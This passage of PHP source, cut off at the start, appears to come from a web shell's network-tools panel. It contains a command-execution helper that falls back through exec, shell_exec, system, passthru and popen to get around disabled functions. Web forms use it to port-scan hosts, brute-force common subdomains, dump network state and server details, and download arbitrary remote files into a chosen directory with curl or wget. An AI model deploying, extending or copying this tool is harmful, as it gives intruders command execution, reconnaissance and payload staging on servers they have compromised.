&1', $output_arr); return implode("\n", $output_arr); } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); return $output ?: "shell_exec output empty"; } elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); return ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); return ob_get_clean(); } elseif (is_resource($f = @popen($cmd, "r"))) { $o = ""; while (!@feof($f)) $o .= @fread($f, 1024); @pclose($f); return $o; } return "All execution functions disabled."; } function getServerInfo() { $system_data['user_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'N/A'; $system_data['host'] = $_SERVER['HTTP_HOST'] ?? 'N/A'; $system_data['server_name'] = $_SERVER['SERVER_NAME'] ?? 'N/A'; $system_data['os'] = php_uname() ?? 'N/A'; $system_data['php_version'] = PHP_VERSION ?? 'N/A'; return $system_data; } // --- NETWORK TOOL FUNCTIONS --- function pingHost($host) { $host = escapeshellarg($host); return exe((strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? "ping -n 4 $host" : "ping -c 4 $host"); } function portScanPHP($host, $ports) { $output = ""; $port_array = (strpos($ports, '-') !== false) ? range(...array_map('intval', explode('-', $ports))) : array_map('intval', explode(',', $ports)); foreach ($port_array as $port) { if ($port > 0 && $port < 65536) { $conn = @fsockopen($host, $port, $errno, $errstr, 3); $status = is_resource($conn) ? "OPEN (" . (getservbyport($port, 'tcp') ?: 'unknown') . ")" : "CLOSED"; if (is_resource($conn)) fclose($conn); $output .= "Port $port: $status\n"; } } return $output; } function portScan($host, $ports) { $host_arg = escapeshellarg($host); $ports_arg = escapeshellarg($ports); if (strpos(exe("which nmap"), 'nmap') !== false) { return exe("nmap -p $ports_arg $host_arg"); } elseif (strpos(exe("which nc"), 'nc') !== false) { $output = ""; foreach (explode(',', str_replace('-', ',', trim($ports, "'"))) as $port) { if (is_numeric($port)) { $result = exe("nc -z -v $host_arg $port 2>&1"); $output .= "Port $port: " . (strpos($result, 'succeeded') !== false ? "OPEN" : "CLOSED") . "\n"; } } return $output; } else { return portScanPHP($host, $ports); } } function dnsLookupPHP($domain, $type = 'A') { $output = ""; $type_map = ['A' => DNS_A, 'MX' => DNS_MX, 'NS' => DNS_NS, 'TXT' => DNS_TXT]; $php_type = $type_map[strtoupper($type)] ?? DNS_ALL; $records = @dns_get_record($domain, $php_type); if ($records) { foreach ($records as $record) { if ($record['type'] == 'A') $output .= "A Record: {$record['ip']}\n"; if ($record['type'] == 'MX') $output .= "MX Record: {$record['target']} (Priority: {$record['pri']})\n"; if ($record['type'] == 'NS') $output .= "NS Record: {$record['target']}\n"; if ($record['type'] == 'TXT') $output .= "TXT Record: {$record['txt']}\n"; } } return $output ?: "No DNS records found"; } function dnsLookup($domain, $type = 'A') { $domain_arg = escapeshellarg($domain); $type_arg = escapeshellarg($type); if (strpos(exe("which dig"), 'dig') !== false) { return exe("dig $domain_arg $type_arg"); } elseif (strpos(exe("which nslookup"), 'nslookup') !== false) { return exe("nslookup -type=$type_arg $domain_arg"); } else { return dnsLookupPHP($domain, $type); } } function whoisLookup($domain) { $domain_arg = escapeshellarg($domain); if (strpos(exe("which whois"), 'whois') !== false) { return exe("whois $domain_arg"); } elseif (strpos(exe("which jwhois"), 'jwhois') !== false) { return exe("jwhois $domain_arg"); } return "whois command not found."; } function httpHeaderCheck($url) { if (!filter_var($url, FILTER_VALIDATE_URL)) return "Invalid URL"; $url_arg = escapeshellarg($url); if (strpos(exe("which curl"), 'curl') !== false) { return exe("curl -I " . $url_arg); } else { $headers = @get_headers($url, 0, stream_context_create(["http" => ["method" => "HEAD", "timeout" => 10]])); return $headers ? implode("\n", $headers) : "Failed to retrieve headers"; } } function curlDownload($url, $path) { if (!filter_var($url, FILTER_VALIDATE_URL)) return "Invalid URL"; $filename = basename(parse_url($url, PHP_URL_PATH)) ?: 'download_' . time(); $fullpath = $path . DIRECTORY_SEPARATOR . $filename; $url_arg = escapeshellarg($url); $fullpath_arg = escapeshellarg($fullpath); if (strpos(exe("which curl"), 'curl') !== false) { return exe("curl -L " . $url_arg . " -o " . $fullpath_arg); } elseif (strpos(exe("which wget"), 'wget') !== false) { return exe("wget " . $url_arg . " -O " . $fullpath_arg); } else { $content = @file_get_contents($url, false, stream_context_create(["http" => ["timeout" => 30]])); if ($content !== false && @file_put_contents($fullpath, $content)) { return "Downloaded to: $fullpath (" . filesize($fullpath) . " bytes)"; } return "Download failed"; } } function tracerouteHost($host) { $host = escapeshellarg($host); if (strpos(exe("which traceroute"), 'traceroute') !== false) { return exe("traceroute $host"); } elseif (strpos(exe("which tracepath"), 'tracepath') !== false) { return exe("tracepath $host"); } return "traceroute command not found"; } function networkStats() { $output = "Network Statistics:\n\n"; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $output .= "=== Network Interfaces (ipconfig) ===\n"; $output .= exe("ipconfig"); $output .= "\n\n=== Active Connections (netstat) ===\n"; $output .= exe("netstat -an"); } else { $output .= "=== Network Interfaces (ifconfig / ip addr show) ===\n"; $interface_output = exe("ifconfig"); if (empty(trim($interface_output)) || strpos($interface_output, 'command not found') !== false) { $interface_output = exe("ip addr show"); } $output .= $interface_output; $output .= "\n\n=== Routing Table (route -n / ip route show) ===\n"; $output .= exe("route -n") ?: exe("ip route show") ?: "No CMD utility available."; $output .= "\n\n=== Active Connections (netstat / ss) ===\n"; $netstat_output = exe("netstat -tuln"); if (empty(trim($netstat_output)) || strpos($netstat_output, 'command not found') !== false) { $netstat_output = exe("ss -tuln"); } $output .= $netstat_output ?: "No CMD utility available."; } return $output; } function reverseDNS($ip) { $ip = escapeshellarg($ip); if (strpos(exe("which dig"), 'dig') !== false) { return exe("dig -x $ip"); } elseif (strpos(exe("which nslookup"), 'nslookup') !== false) { return exe("nslookup $ip"); } else { $hostname = @gethostbyaddr($ip); return $hostname ? "Reverse DNS: $ip -> $hostname" : "No reverse DNS record"; } } function subdomainScan($domain) { $domain = trim(escapeshellarg($domain), "'"); $subs = ['www', 'mail', 'ftp', 'admin', 'blog', 'dev', 'api', 'shop', 'forum', 'portal']; $output = ""; foreach ($subs as $sub) { $full = "$sub.$domain"; $ip = @gethostbyname($full); if ($ip !== $full) $output .= "$full -> $ip\n"; } return $output ?: "No common subdomains found"; } // --- FORM INPUT PROCESSING --- $action = $_GET['action'] ?? 'ping'; $path = $_GET['path'] ?? getcwd(); $output = ''; $server_info = getServerInfo(); // Get server info once if (isset($_POST['do_tool'])) { $target_host = $_POST['target_host'] ?? ''; $ports = $_POST['ports'] ?? ''; $target_domain = $_POST['target_domain'] ?? ''; $record_type = $_POST['record_type'] ?? 'A'; $target_url = $_POST['target_url'] ?? ''; $url = $_POST['url'] ?? ''; $target_ip = $_POST['target_ip'] ?? ''; switch ($action) { case 'ping': $output = pingHost($target_host); break; case 'portscan': $output = portScan($target_host, $ports); break; case 'dnslookup': $output = dnsLookup($target_domain, $record_type); break; case 'whois': $output = whoisLookup($target_domain); break; case 'header': $output = httpHeaderCheck($target_url); break; case 'curl': $output = curlDownload($url, $path); break; case 'traceroute': $output = tracerouteHost($target_host); break; case 'netstat': $output = networkStats(); break; case 'reverse': $output = reverseDNS($target_ip); break; case 'subscan': $output = subdomainScan($target_domain); break; } } ?>
| User / IP | : |
| Host / Server | : |
| System / PHP | : |